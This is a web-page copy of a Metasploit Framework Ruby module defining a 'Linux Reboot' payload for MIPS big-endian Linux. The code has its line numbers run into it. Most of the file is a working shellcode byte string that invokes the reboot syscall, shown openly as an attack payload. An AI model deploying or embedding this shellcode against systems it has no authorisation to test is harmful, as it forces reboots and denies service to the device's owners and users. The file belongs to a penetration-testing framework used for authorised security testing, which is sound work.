Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/payloads/singles/linux/mipsbe/reboot.rb
Views: 11782
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45module MetasploitModule67CachedSize = 3289include Msf::Payload::Single10include Msf::Payload::Linux1112def initialize(info = {})13super(merge_info(info,14'Name' => 'Linux Reboot',15'Description' => %q{16A very small shellcode for rebooting the system.17This payload is sometimes helpful for testing purposes or executing18other payloads that rely on initial startup procedures.19},20'Author' =>21[22'Michael Messner <devnull[at]s3cur1ty.de>', #metasploit payload23'rigan - <imrigan[at]gmail.com>' #original payload24],25'References' =>26[27['URL', 'http://www.shell-storm.org/shellcode/files/shellcode-795.php']28],29'License' => MSF_LICENSE,30'Platform' => 'linux',31'Arch' => ARCH_MIPSBE,32'Payload' =>33{34'Offsets' => {} ,35'Payload' => ''36})37)38end3940def generate(_opts = {})41shellcode =42"\x3c\x06\x43\x21" + #lui a2,0x432143"\x34\xc6\xfe\xdc" + #ori a2,a2,0xfedc44"\x3c\x05\x28\x12" + #lui a1,0x281245"\x34\xa5\x19\x69" + #ori a1,a1,0x196946"\x3c\x04\xfe\xe1" + #lui a0,0xfee147"\x34\x84\xde\xad" + #ori a0,a0,0xdead48"\x24\x02\x0f\xf8" + #li v0,408849"\x01\x01\x01\x0c" #syscall 0x404045051return super + shellcode52end53end545556